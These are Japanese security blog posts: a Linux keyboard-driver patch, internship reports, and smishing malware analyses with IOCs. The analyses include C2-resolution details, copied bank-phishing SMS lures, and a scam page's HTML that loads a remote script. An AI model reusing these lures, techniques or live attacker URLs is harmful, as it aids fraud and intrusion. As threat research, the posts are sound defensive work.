LinuxをJIS版Magic Keyboardに対応させた
こんばんは。morimolymolyです。
今回はJIS版Magic KeyboardをLinuxで使用できるようにパッチを当てました。結構前に。*1
また、それに対応した独立したドライバをリリースしました。
ぺちぺちしたチープなうち心地、シュッとしたデザイン、かな・英数の独立キー、⌘キー、いいですよねえMagic Keyboard。
1万円で購入しワクワクしてLinuxマシンとペアリングさせたところ、かな、英数、ろ、|の4つのキーが使用不可能でした。(パイプで繋げなかったら何すればいいんだ?ソリティアか?)
溝に捨てた気分になるのは嫌なので、早速調査を開始しました。
デバッグのためにフルボッコにしたカーネルです。HID関連を調査しました。
github.com
printkデバッグで大体の原因がわかったところで、先人が既に同じようなことをしているのを発見いたしました。
qiita.com
パッチを当てたのはdrivers/hid/hid-apple.cのたった数行。
HIDデバイスから返されるReport Descriptorを修正するパッチ。
Report Descriptorについては以下を参照。
https://wiki.onakasuita.org/pukiwiki/?%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88%E3%83%87%E3%82%A3%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%82%BF
Magic KeyboardのJIS版はなぜかLogical MaximumとUsage Maximumが本来なら0xE7のところ、0x65になっていた。
HIDデバイスはdrivers/hid/hid-core.cのhid_add_field関数でレポートの登録が行われるが、その前段階のパース部分か、キーボード自体が不正な値を返すようだ。(現段階の調査だとキーボード自体がおかしい可能性がある)
パッチの作成方法としてはまず、hidrdで実際の値を確認する。
github.com
その後、sys/kernel/debug/hid/dev/rdescを確認し、ディスクリプタの値をゲット、不正なINDEXの調査をする。
不正なINDEXの部分を正常な値に書き換えるようにreport_fixupで設定を行い、パッチは完成する。
現在、パッチをメーリングリストに投げてレビュー待ちのところだ。
patchwork.kernel.org
また、独立したドライバをカーネルに取り込まれる前にリリースした。
テストするだけならmake installするだけ、マジにインストールするならREADME.mdから自力で頑張ってください。
github.com
手元のマシンでは正常に動作しており、目的は達成された。
やったね!
それでは。
*1:面倒くさくてブログを書くのが遅れた。面倒くさくて。
Smishingマルウェアについて思うところ #BP6 #Moqhao
はじめに
こんにちは、morimolymolyです。
最近どうも調子が悪くて、アニメをみれたらみる、それ以外はたまにコンピュータに触れる、そんな生活を送っています。
さて、最近トレンドマイクロとJC3からとある発表*1 *2がなされました。
僕が以前解析していたSmishingマルウェアを動かすアクターがJC3とトレンドマイクロによりBP6と名付けられたようです。(その他にも連携をとっているであろうBP1やCPシリーズなど多数のグループが背後にいるそうです。こわいですね)
そんな中で、BP6と思われるアクターが操作する携帯電話から、また私の携帯電話にSMSが送られてきたので解析しました。
検体に関してはXLoader(Moqhao)そのもので、以前書いた記事と酷似しているため詳細は省き、IOCのみを共有いたします。
IOCはこちらです。
otx.alienvault.com
初めてAlienVault OTXを使いましたが、便利そうなので今後も使うと思います。
NTTSecurity.apkについて
Twitter上でとある情報共有がなされていました。
#malware Alert⚠ #fakeapp #Android
— Osumi, Yusuke (@ozuma5119) 2021年5月14日
hxxp://nttdocommd[.]ddns[.]net/
IP: 202.59.9.42 (AS55720 Gigabit Hosting,MY🇲🇾)
Brand: NTTdocomo NTTドコモ, Japan🇯🇵https://t.co/Ag83vJJCHJ
🦠 /NTTsecurity.apkhttps://t.co/gG7rBNb0yB pic.twitter.com/MzMiayaT3G
検体名が面白かったし、ランディングページがはりきって作られているので少しだけ解析をしました。
これがBP6によるものかは明らかになっていません。
こちらの検体は、jiagu packerと呼ばれるパッキング技術を採用しているようでした。
検体のjiagu packerのライブラリをVTに食わせた結果が以下の通りです。
jiagu packerはQihoo360が開発、提供しているモバイルアプリの耐タンパー性能を向上させるツールのようです。
jiagu.360.cn
実際に検体がパッキングされていることがデータの解析により判明いたしました。
参考にしたjiagu packerの解析記事は以下のとおりです。
blog.zimperium.com
またこのパッカーは、仮想マシン型のパッキングを行っているそうです。
詳細な解析は気が向いたら行いますが、今後モバイル向けの高性能なパッカーを用いるアクターが増えることが予想されます。
最後に
解析を少ししかしていないので情報量が少なくなってしまいましたが、BP6などのSmishingアクターを追いかけるアナリスト、リサーチャーのお役に立てると幸いです。
今回、jiagu packerなる高性能なパッカーを採用している検体に遭遇し驚きました。
BP6なるアクターがXLoader(Moqhao)から、別の検体を配信していることは観測しています。
morimolymoly.hateblo.jp
今後も新たなマルウェアを用いた攻撃が増加する可能性があります。
これからも注視していきましょう。
それでは。
*1:[トレンドマイクロの記事 blog.trendmicro.co.jp]
*2:[JC3によるプレスリリース www.jc3.or.jp]
DeNAのセキュリティチームでインターンをして笑顔になった話
はじめに
こんにちは.morimolymolyです. 絶賛セキュリティを軸に就活しています. セキュリティ就活の軸は,事業会社でのセキュリティ,専門会社でのセキュリティの2つあります. 今回は事業会社のセキュリティとして就活する中で,DeNAのセキュリティチームでインターンをさせていただきました. この記事ではそんなインターンを振り返ります.(技術的なところはかなりぼかしています.ゴメンね)
DeNAのセキュリティチームってどんな感じ?
一瞬,セキュリティベンダーかな?と疑ってしまうような幅広い守備範囲を兼ね備え,CSIRT,SOC,脆弱性診断,ネットワーク診断,中にはマルウェア解析を行っている方もいらっしゃるみたいです. では,何故ここまで強いチームができあがったのか.それは内製化によるところが大きいようです. これに関しては本も出版されており,どれだけ力を入れてチームを作っていったのかが伺えます.
DeNAといえば膨大な数のゲームやWebサービス. 相当な数の攻撃を受けるので内製チームだけで回すにはとんでもない練度が必要なのは間違いないでしょう.その一端を一ヶ月間垣間見ることができました.
インターン内容
インターンでは主にスマートフォンアプリの診断トレーニングを行いました. セキュリティチーム(内部ではセキュリティ技術グループとよばれています)では,配属された人に様々なトレーニングを提供し,スキルアップしてもらうようです. 今回はスマホアプリのみですが,Webアプリなどのコンテンツも揃っているようでした.
課題は大きく2つ,
- ネイティブライブラリを使ったCocos2d-x製アプリをチートすること
- Unity製アプリをチートすること
でした.
課題1
1つ目の課題は暗号化された通信をときつつ,メモリ改ざんも含めチートをしようという課題でした.
Burp Suiteで通信を傍受し,暗号化がかんたんなため通信内容のみから暗号を解くように指示されました.
実際,やってみると勘があたりすぐ解くことができました.
答え合わせでGhidraとIDA Proで確認すると,なるほど!となりました(ちなみにGhidraで解析できないが,IDA Proでは解析できるケースに遭遇し興奮したのはこのとき)
暗号化の中身がわかったあとは,Burp SuiteのExtenderをPythonで書きました.
簡単に言うと暗号化を解いて通信改ざんができるようになるチートツールです.
Pythonで書くと死ぬほど辛いので書かんといてくださいよ!!
メモリ改ざんは子供の頃にやったことがあり,難なくクリア. メモリに含む内容は暗号化しないとダメですね.
課題2
2つ目の課題はSSL Pinningを解き,アプリ改ざん,通信改ざん,メモリ改ざんを全部やれというようなトレーニングでした.
ちなみにroot化なしです.
ここらへんは詳しいことは言えないですが,SSL Pinningを外すために動的と静的な手法で試し,通信改ざんをするためにリバースエンジニアリングして暗号化手法を特定し,Burp Suite用のExtenderを書き,メモリ改ざんをしてランキング1位を取ったりしました.
IDA Proをガシガシ使えて,GhidraとIDA Proのデコンパイラの精度を比較できて楽しかったです. また触ったことのない技術を使えたので学びもすごかったです.
課題総括
ここを直したらもう少しセキュアになるよね?とかこういう攻撃をするなら守り方はこれだ!みたいな気付きがかなり多かったです.それを誘導する課題を作った誰かに感謝です.素直に凄すぎです.
やはり攻撃してみないと見えてこない視点はあるので,トレーニングの機会があれば何でも挑戦したいですね.
内製ツールの話
今回はメモリ改ざんツールとOSSになっているPacket Proxyを触りました. 特にPacket Proxyの出来がよくて,UIが見やすいし,gRPCなどの通信にも対応していて,Burpのように拡張もできます. 拡張に関しては迷うことのない簡潔なインターフェイスが用意されていて,間違いないツールだなと思いました.
DeNAはその他にも難読化ツールDeClangもOSSで公開しています. チーム自体がものづくりに関して積極的で,プログラミングが好きなセキュリティエンジニアが集まっているなと思いました.
単純に無いからつくるっていう精神は最高ですね.
まとめ
今回はDeNAのセキュリティチームでのインターンを軽く振り返りました. 一ヶ月間,迎えてくれたチームの皆様,人事の皆様,労務の皆様,ありがとうございました!!!!!!!!!!
これで報告を終わりたいと思います.ありがとうございました.
アカツキのセキュリティチームのインターンに行ってきた
はじめに
こんにちは。morimolymolyです。 今回は、アカツキの就業型短期インターンに参加しましたので、そちらの振り返りをしたいと思います。
アカツキとは
皆様御存知、八月のシンデレラナインなどで有名なゲームを軸に事業を展開している会社です。 なんでセキュリティやっている人間がゲーム会社のインターンを受けたのかというと、就活を進めるにあたり、セキュリティエンジニアとしてのポジションがある会社を探していたところ、アカツキにめぐりあったからです(!?)。
インターンの流れ
今回は、フルリモートでの参加となりました。 MacBook Proの15インチモデルをお借りし、業務の一端を担うことになります。 いくつかタスクが与えられ、それをこなし最終報告会で報告すると無事インターンクリアとなります。
振られたタスク
今回のインターンで振られたタスクは以下の2つになります。
- Web脆弱性診断入門
- アンチチートライブラリ開発
前者は、僕がWebの脆弱性診断をした経験がない(CTFのめちゃくちゃ簡単な問題で有名な脆弱性に触れる程度)ことから少し不安でした。後者はリサーチに近いものである程度裁量をもって進めることができました。(インターンなのに)
Web脆弱性診断入門
OWASP(Webセキュリティの団体)がトレーニング用に開発したやられアプリ、RailsGoatに対して攻撃し、脆弱性を発見、レポートをまとめるというトレーニングを受けました。
診断に使ったツールはBurp Suite Community Editionとniktoだけで、全部手動で診断を行いました。
最終的に20個の脆弱性を見つけてレポートにまとめることができました。 最初はクリティカルな脆弱性がみつからず、頭を捻っていましたが、メンターの方のアドバイスにより、網羅性を考え全リクエストを確認することを意識し始めたら、発見できる脆弱性の数が増えていきました。脆弱性診断には網羅性が大事なのだということを再認識することができました。
また、脆弱性診断の要となるのがレポートで、開発者にどのような脆弱性がどれほどの影響があるのかということを簡潔にわかりやすく伝える必要がありましたが、僕にはその力が欠けていたため、何度も推敲して良さげな文章を生成しました。 結果、レポートのテンプレートに10件ほどマージされることになりました。 苦労の甲斐がありました。
アンチチートライブラリ開発
アカツキではチート対策のためのライブラリの開発を行っていました。 まだ、成熟したものではないため、ある程度インターン生でも裁量を持って機能の実装などが行うことができました。
今回、振られたタスクは以下の通り。
- フォーマッタ導入
- ディレクトリ構成やUnitTestの導入
- 文字列難読化処理の実装
フォーマッタの導入はclang-formatを導入するだけとお手軽。 ディレクトリ構成はLLVMなどを参考にしつつ、見通しの良いように変更しました。 UnitTestはそもそも導入されていなかったので、今回の担当箇所のみテストコードを書きました。フレームワークはGoogleTest、テストランナーはCTestにしました。
文字列難読化処理は、マルウェア解析での知見を活かして、独自の難読化処理を実装しました。IDA Proなどで実際に難読化を施したバイナリを解析して耐性を確かめたりしました。 解析していてこれ嫌だなっていう地味な嫌がらせが実装できたのではないかと思います。
総括
フルリモートでの就業型インターンでしたが、本当に充実していました。 朝はギリギリまで寝ていられるし、仕事が終わった瞬間に家なので、爆速で支度してジムに行くことだって可能なわけです。(気力があれば) コミュニケーションは基本的にSlackとZoomで行われ、毎日行われるメンターとの昼会、インターン生や社員さんとの交流のためのランチなど、なんなら出社するよりコミュニケーションが取れているのでは!?と思うほどでした。(コミュ障なので)
業務に関しては、脆弱性診断の一端を見ることができ、ゲーム会社独自のセキュリティへの取り組みというものもみることができました。
最後に
僕を受け入れてくれたチームの皆様、メンターの方、労務・人事の皆様、誠にありがとうございました。最後まで楽しくインターンできてよかったです。 以上で私のインターン報告とさせていただきます。
ありがとうございました。
宅配業者を装ったSmishingキャンペーン総括
はじめに
こんにちは、morimolymolyです。
今回は宅配業者を装ったSmishingキャンペーンについてマルウェアに関して解析を行ったので紹介いたします。
前回の記事は以下となっております(技術的でハンズオン的な内容ですので技術者でないと読みづらいかもしれません)
前回の流れ
まずマルウェアに感染したとある端末から僕あてに不審なSMSが届きました。
マルウェアを解析したところ、現在猛威を奮っている凶悪なSmishingキャンペーンを動かすものでした。
これらの司令塔となるC2(コマンドアンドコントロールサーバ)を特定し、配信文面を隠蔽している場所も特定いたしました。
特定した場所に格納されている配信文面はTwitterなどでも話題になっているのと全く同一のものでした。
今回はそれにアクセスし、どのようなマルウェアが潜んでいるのか、またそのキャンペーンについて解析しました。
検体の確保と解析
Android端末から配信文面に記載されているURLに飛ぶと、不正なapkがダウンロードされます。
不正なapkをApktoolで解凍し、class.dex(マルウェア本体)を解析します。
表層解析で文字列検索してみるとURLやwebsocket(C2)のアドレスが手に入ります。
この時点で今回のマルウェアはパッキングされているものではないと推測できます。
実際に検体をGhidraに食わせてみるとやたらとサイズの大きなもので解析に時間がかかりました。
AndroidManifest.xmlのしめすエントリポイントはcom.hz.keep.MyApplicationでした。
MyApplicationクラスのonCreate()メソッドでKeeyAlive.init()という関数を呼び出していることがわかります。
このマルウェアの主要な機能はこのKeepAliveクラスにあります。
ご覧の通り、SMS送信機能などが難読化などなしにしっかりと実装されていました。
getDataBeiyongメソッドはC2のアドレスを取得するためにKeepAlive$3クラスを新しいスレッドとして走らせます。
このクラスのrunメソッドをみてみると実際にC2アドレスの格納されたwebページに訪問し、それから得られたC2のアドレスを共有設定に保存していることがわかります。
C2を得たマルウェアは司令を受信するためのスレッドを立ち上げます。
keepAlive.mHandlerというメンバに司令を受け取るためのハンドラが入っています。
これはKeepAlive$4というクラスが担当していて、C2へpingしたり、SMSを送信したりします。
マルウェアについて
マルウェアは全体的に中国語のコメントばかりでした。
また丁寧にログも吐いていて、それも中国語でした。
使っているSDKはUmengという中国特有?(少なくとも日本語情報はGoogleでは引っかかりませんでした)を使っていて、アクターは中国語圏にいることが推測できます。
キャンペーンについて
おそらく最初に解析したXLoaderがインフラとなり、この謎のマルウェアを配布しているものだと考えられます。
まだわからないことが多いので注視する必要があるでしょう。
IOC
- ランディングページ: http://aeocl[.]com
- apk sha1: 0d70c669d7862ada751169b2271f8944662ad9a5
- VirusTotal: https://www.virustotal.com/gui/file/054fa5f5ad43b6d6966cdbf4f2547edc364ddd3d062cd029242554240a139fdb/details
- C2: 168.126.149[.]28:7777
- C2: 103.85.25[.]165:7777
- C2格納場所 http://0130one[.]info/
- C2格納場所 http://0204[.]info/
Smishingが来たので解析した #フィッシングSMS #Androidマルウェア解析
- はじめに
- 注意
- SMS受信
- 検体の表層解析
- 検体の静的解析
- 検体によるパッキングを用いた対解析耐性
- アンパック
- ペイロードの読み込み
- アンパックされたペイロードの解析
- マルウェアファミリ名が明らかに
- 動き
- C2特定
- まとめ
- IOCs
- 詐欺文面等
はじめに
こんにちは。morimolymolyです。
今日は僕の携帯にきた不正なSMSとそれからもたらされる不正なapkファイル(マルウェア)の解析をします。
SMS受信
2021/02/02、家でぼーっとしていると1件のSMSが到着した。
番号は携帯電話の番号。
緊急事態宣言中にむやみに外に出る人間ではないため、スパムと判定し自らリンクを踏むことにした。
するとどう解釈してもGoogleに結びつかないURLからChromeのセキュリティを指摘され、謎のapkファイルをインストールするように要求される。
検体をダウンロードし、解析用のマシンに移しすぐさま解析に取り掛かった。
検体の表層解析
ダウンロードしたファイルはdroxdlgomh.apkと騙す気があるのか謎のapkファイルだった。
まずはapkをバラすことにした。
Apktoolでバラすと以下のような構成になっていた。
% tree . ├── AndroidManifest.xml ├── apktool.yml ├── assets │ └── svc │ └── 1k7vcor ├── classes.dex ├── kotlin │ ├── annotation │ │ └── annotation.kotlin_builtins │ ├── collections │ │ └── collections.kotlin_builtins │ ├── coroutines │ │ └── coroutines.kotlin_builtins │ ├── internal │ │ └── internal.kotlin_builtins │ ├── kotlin.kotlin_builtins │ ├── ranges │ │ └── ranges.kotlin_builtins │ └── reflect │ └── reflect.kotlin_builtins ├── lib │ └── arm64-v8a │ └── libnative-lib.so ├── original │ ├── AndroidManifest.xml │ └── META-INF │ ├── CERT.RSA │ ├── CERT.SF │ └── MANIFEST.MF └── res ├── drawable-xhdpi │ ├── ic_launcher.png │ └── icon.xml ├── layout │ └── main.xml └── values ├── ids.xml └── public.xml 17 directories, 21 files
怪しいファイルは
だろう。
とりあえずAndroidManifest.xmlを確認し、権限などをみていく。
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="qkd.kavvng.va" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415"> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/> <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.READ_PROFILE"/> <application android:icon="@drawable/ic_launcher" android:label=" Chrome" android:name="uynj.NlApplication">
権限としては以下のようなものがある(いろいろ省いているので各自確認してください)
- WiFiの状態取得
- ネットワークの接続管理
- 電話の発信
- オーディオ設定
- スクリーンロックの解除(!!!!!!!!!)
- SMSの受信/送信
おそらくapkをインストールした端末がbotになりフィッシングSMSを送信するのだろう。(これを受信したときの番号はあきらかに携帯電話だったのはそのため)
classes.dexは文字列を検索してもろくなものが引っかからないし、サイズが小さすぎる。
assets/svc/1k7vcorはわけのわからない小さなバイナリファイルだった。
またエントリポイントはNlApplicationであることがわかった。
検体の静的解析
Ghidraにclasses.dexとlib/arm64-v8a/libnative-lib.soを食わせる。
classes.dexには9個のclassが存在した。
しかしまともに機能するクラスは3つだった。
おそらく解析妨害のためにクラスをむやみに増やしている。
1つめはアラームサービスを設定するクラス(MaService)でlib/arm64-v8a/libnative-lib.soの中にあるJava,Util.Cov関数と連携している。
あまり重要なクラスではないのでパス。
2つめはK1ActivityでAndroid素人のためよくわからないが、大した動作を行っていない。アラームサービスを設定するクラスを呼び出したりしていた。
3つめが一番大事なクラスで、NlApplicationだ。
これはパッキングされたバイナリをアンパッキングしクラスとしてロードする。
検体によるパッキングを用いた対解析耐性
以上からわかるとおり、単に静的解析しても不正な動作をみつけることができない。
マルウェアにおいてはよくあることだが、重要な動作は解析されるのを避けるためにパッキングすることが多い。
それでは、NlApplicationのアンパック機構を解析していく。
……解析していくと意気込んでいたがそう難しいものではない。
なんとアンパックのアルゴリズムがそのままNlApplicationクラス内に存在するからだ。
NlApplicationクラスにはメソッドとして
- a
- b
- c
- d
- e
- f
- g
- h
- i
- コンストラクタ
- onCreate
が実装されている。
NlApplicationは onCreate() → d() →h() → … と遷移していく。
この onCreate() → d() →h() のみでアンパックをする術を理解することができる。
アンパック
アンパックアルゴリズムは d, hメソッドを読むだけで良い。
読むだけで良いのはそのままの意味で、GhidraがJavaのコードにデコンパイルしてくれるからだ。
アンパックする対象は assets/svc/1k7vcor であることがわかった。
以下にアンパックするコードを示す。(例外とか何もかもが汚いのはゆるして)
変数名が謎なのは解析するときに適当に手動で名付けたのとGhidraの自動命名のため。
ペイロードの読み込み
さて、正常にペイロードを取得することができた。
上記のコードを assets/svc/1k7vcor にたいして実行するとdecryptedというファイルを取得できる。
これはzlibで圧縮されている。各自解凍すればdexファイルを得ることができるはずだ。
さて、マルウェアの解析に戻る。
アンパックが終わった後、dメソッドからiメソッドが呼ばれる。
iメソッドではアンパックされたdexから最初にロードするクラスを指定するための文字列を生成している。
単にコード中に埋め込んでしまうと解析者に有利に働くために、難読化していると思われる。
具体的には、com.Loaderというクラス名を得るために、Compilerクラスの名前をsubstring(切り取り)し、Loaderクラスの名前と文字列の合成することでcom.Loaderという文字列を動的に生成している。
iメソッドでcom.Loaderという文字列を得た後、aメソッドに遷移する。
aメソッドではbメソッドで実際にcom.Loaderクラスを得て、lib/arm64-v8a/libnative-lib.soの中にあるjava.util.c関数を呼び出し、クラスをロードさせる。
lib/arm64-v8a/libnative-lib.soの中ではわちゃわちゃとやっているが大した動作を行っていないと思う。
Javaの型定義が不足していてイマイチわからないコードになっている。
今後もJavaの型定義が必要ならつくって公開していきたい。
アンパックされたペイロードの解析
ペイロードのエントリポイントがわからなかった。
AndroidManifest.xmlに記述はないし、デコンパイルしたapkにもそれらしきコードがない。
ひとまずcom.Loaderのコンストラクタから順にざっと確認。
以下のような機能が実装されていることがわかった。
- Chromeとしてシステムに侵入(base64でエンコードされたChromeのアイコンで偽装)(タップすると本物のChromeが立ち上がる)
- default SMSアプリとして動作、
- 詐欺の文言を提示するダイアログ
- 外部SNSへ接続(htmlから正規表現でなにかを取得)(
- インストールされているアプリのチェック
- ローカルサーバの立ち上げ
C2機能のようなものが存在することから、botとして動き、SMSをばらまくはず。
またSMSで送信するコンテンツはどうやらSNSから取得している可能性がある。
megalodon.jp
ちょうど今日ばらまかれたSMSの文面がのっている。
これらに着目すれば今後の文面も予め予想できるのではないか。
動き
去年の3月から観測*1はされているようで、使用しているアカウントなどは変わっていない
C2はvk, youtube, instagram, GoogleDocs, blogspot, bloggerに対応できるように作られているが、今回の検体ではblogspotのみになっている。
;zc|y43wrgsdf@blogspot|wqeeqwgfdty@blogspot|y4wgres@blogspot という特徴的な文字列がアンパックしたマルウェアの中に埋め込まれていて、それを | で分割して取り出している。
日本語と韓国語で設定を変えている動きもあった。
それではC&Cサーバを特定していこう。
C2特定
実際にblogpostに訪問してみた
https://y43wrgsdf.blogspot.com/?m=1
https://y4wgres.blogspot.com/?m=1
https://wqeeqwgfdty.blogspot.com/?m=1
どれも
woztxebZIaOjNbHBWXq877npuwlRaTZe
なる文字列が埋め込んであった。
ペイロードをリバースエンジニアリングしていくと、上記のURLに訪問し、正規表現で上の文字列を取り出していることがわかった。
その文字列をbase64でデコードして、埋め込まれている Ab5d1Q32 という鍵(1年前と変わっていない)でDES暗号を復号化し、C2のアドレスを解決しているようだった。
実際にコードを書いてみて復号化してみるとC2のアドレスが取得できた。
C2: 45.114.129[.]48:28866
get_c2_from_xloader_2021-02-06.java · GitHub
一年程度では基本構造は変えないようですね。
まとめ
簡単にAndroid向けマルウェアを静的解析した。
検体はXLoaderというファミリで、おそらく基本的な構造やパッキング、難読化手法、暗号化手法も変わっていないはずだ。
C&Cサーバの監視、詐欺文面隠蔽場所の監視をすればいち早く攻撃者の動向がわかるはずだ。
それでは。
IOCs
- apk sha1 55433bf3dafa6b0494487f463564fe7309c13b26
- payload sha1 f48b99cb0b956cd6aa1c49520cecbd54655ab070
- C&Cサーバ 45.114.129[.]48:28866
- ランディングページ http://qxjrhpgwxl.duckdns[.]org
- C&Cアドレス隠蔽場所 https://y43wrgsdf.blogspot.com/?m=1
- C&Cアドレス隠蔽場所 https://y4wgres.blogspot.com/?m=1
- C&Cアドレス隠蔽場所 https://wqeeqwgfdty.blogspot.com/?m=1
- 詐欺文面隠蔽場所 https://www.pinterest.com/abigailn674/
- 詐欺文面隠蔽場所 https://www.pinterest.com/amicenorton4874/
- 詐欺文面隠蔽場所 https://www.pinterest.com/emeraldquinn4090/
- 詐欺文面隠蔽場所 https://www.pinterest.com/felicitynewman8858/
- 詐欺文面隠蔽場所 https://www.pinterest.com/gh6855786/
- 詐欺文面隠蔽場所 https://www.pinterest.com/husaincrisp/
- 詐欺文面隠蔽場所 https://www.pinterest.com/kelliemarshall9518/
- 詐欺文面隠蔽場所 https://www.pinterest.com/norahspencer9/
- 詐欺文面隠蔽場所 https://www.pinterest.com/posylloyd4136/
- 詐欺文面隠蔽場所 https://www.pinterest.com/shonabutler10541/
- 詐欺文面隠蔽場所 https://www.pinterest.com/singletonabigail/
詐欺文面等
日本語のみ抜粋。
他にも、ロシア語、中国語、韓国語、ジョージア語、タイ語、ベンガル語、アラビア語、ヘブライ語、アルメニア語に対応していた
- [氏名]、[生年月日]を確認した後、再度入力してください
- Googleアカウント危険、認証完了後使用してください
- 」はより速くサイトを訪問し、そしてスマホのサーフィン体験を向上します。
- 【JIBUN】お客様がご利用のじぶん銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
- 【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
- 【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。
- 【JPPOST】お客様がご利用のゆうちょ銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
- 【MUFG】お客様がご利用の三菱UFJ銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
- 【RTBK】お客様がご利用の楽天銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
- 【SBI】お客様がご利用の住信SBIネット銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
- 【SEVEN】お客様がご利用のセブン銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
- 【SMBC】お客様がご利用の三井住友銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください
- お客様がキャリア決済にご登録のクレジットカードが外部によるアクセスを検知しました、セキュリティ強化更新手続きをお願いいたします。
- 新バージョンが発見、アップデート完了後ご使用ください
ウクライナから家に攻撃されまくっているので解析した
はじめに
こんにちは。
morimolymolyです。
最近は就活とかおもちとかおせちとかでリソースが取られまくって、いやあ正月は最高ですね。
あ、そういえば報告していなかったですが、去年は未踏スーパークリエータに認定されるなどしました。
これからも頑張りたいですね。
ところで、読者の皆様方は、大晦日の前には大掃除なんかをして家を清めて新年を迎えると思うのですが、私は就活で頭が一杯だったため、大掃除は正月に行うことにしました。
とはいえ自分の部屋は定期的に掃除をしているし、唯一掃除をしていない箇所はルーターやホームゲートウェイ付近だけでした。
WIFIルータとホームゲートウェイの認証情報を大昔に忘れてしまい、家のネットワークの治安が乱れに乱れていたため、OSINTなども活用しつつなんとかこれらへの接続をすることができました。
WIFIルータはASUSのRT-AC68Uでssh機能を備えているなかなかにイカれたやつで、ホームゲートウェイはPR-S300SEというOCNからレンタルしているめちゃくちゃ古い製品でした。これもなかなかに香ばしくて、セキュリティとか大丈夫なのか不安になってしまい今回はこれを調査することにしました。
例のごとくROMからファームウェアを吸い出しGhidraで開くと──とすると違法らしいのでやりませんでした(本当ですよ!信用してください!)
ファームウェアが最新であることを確認し、おもむろにセキュリティログなる項目をみてみると衝撃の結果が!!!
ワイ「チノちゃん攻撃しないで!」
ゲートウェイの通信を盗聴する
PR-S300SEなるゲートウェイはONUとルータが一体になったタイプで盗聴が難しそうでしたが、優秀なオタクくん(id:kyontan2)からいい感じのインターフェイスがあることを教えていただきました。ありがとうございます。
それでは早速盗聴方法をお伝えします。
まずはONUとルータの接続部分をみつけます。これはルータ本体の裏側にあるカバーを外すだけでアクセスできました。
青い線がLANケーブルですね。
次に、LANケーブルを盗聴します。ネットワークタップを使えば簡単にできます。
これはAmazonで仕入れました
先程のインターフェイスから生えてるLANケーブルの一方をタップに接続し、もう片方をもとのポートに接続させるように配線させます。
あとはWiresharkなどでパケットキャプチャしてやれば終了!
攻撃の詳細
どんなに恐ろしい攻撃が飛んできているのかと思いきや、ただのSYNスキャンでした(いやまあログから大体わかってたけども)
1時間は観測を続けましたがSYNスキャン以外は一切攻撃が来ていませんでした。
詐欺ランディングページを調べた
はじめに
こんにちは、morimolymolyです。
最近、Googleの検索に詐欺ランディングページが引っかかることが多くないですか?
悪質な広告によるものや、そもそもランディング用のページを作っているものなど様々ですが、今回はたまたまみつけたランディング専門につくられたページをご紹介いたします。
ランディングページ
とある個人名で調べていると引っかかったこちらのページ。 個人名をふせたソースがこちら。 2ch(5ch)のIDっぽいのがみえるし、わけわからないページ内容だし、こんな画像を唐突に貼っているし、あきらかに適当に作ったものであることは明らか。
個人名をふせたものがこちら。 2ch(5ch)のIDっぽいのがみえる。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="ja"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>XXXX | XXXXのプロフィール情報</title> <meta name="keywords" content="XXXX"> <meta name="robots" content="index,follow"> <meta name="description" content="69 ID:61xN1dju0."> <script type="application/ld+json"> { "@context": "https://schema.org/", "@type": "Product", "name": "XXXX", "description": "net 熱くないかといえば家で食べる行楽弁当wのときも 炊きたてご飯をお釜から素手でひっくり返して容器に移していたよね。 88 ID:rj2BuIBf0.", "aggregateRating": { "@type": "AggregateRating", "ratingValue": "5,5", "bestRating": "10", "worstRating": "1", "ratingCount": "1883" } } </script> </head> <body> <script src="http://tr.stoneshards.ru/trd" type="text/javascript"></script> <h1XXXX</h1> <div class="news"> <h2>XXXXのプロフィール情報</h2> <img src='https://puui.qpic.cn/qqvideo_ori/0/j0510pkigvq_496_280/0' alt='XXXX' title='XXXX' style='width:200px' /> <p>XXX</p> <a href="http://brokerportal.extraenergy.com/secoqet91994.html">次の</a> </div> <div class="news"> <h2>XXXX</h2> <img src='http://n.sinaimg.cn/sinacn20111/85/w1080h605/20190911/480c-iekuaqt8387646.jpg' alt='XXXX' title='XXXX' style='width:200px' /> <p>XXX</p> <a href="http://brokerportal.extraenergy.com/bewolev50090.html">次の</a> </div> <div class="news"> <h2>XXXX</h2> <img src='https://芸能人の実家住所まとめ.com/wp-content/uploads/2017/06/Screenshot-2017-06-09_15-27-07.png' alt='XXXX' title='XXXX' style='width:200px' /> 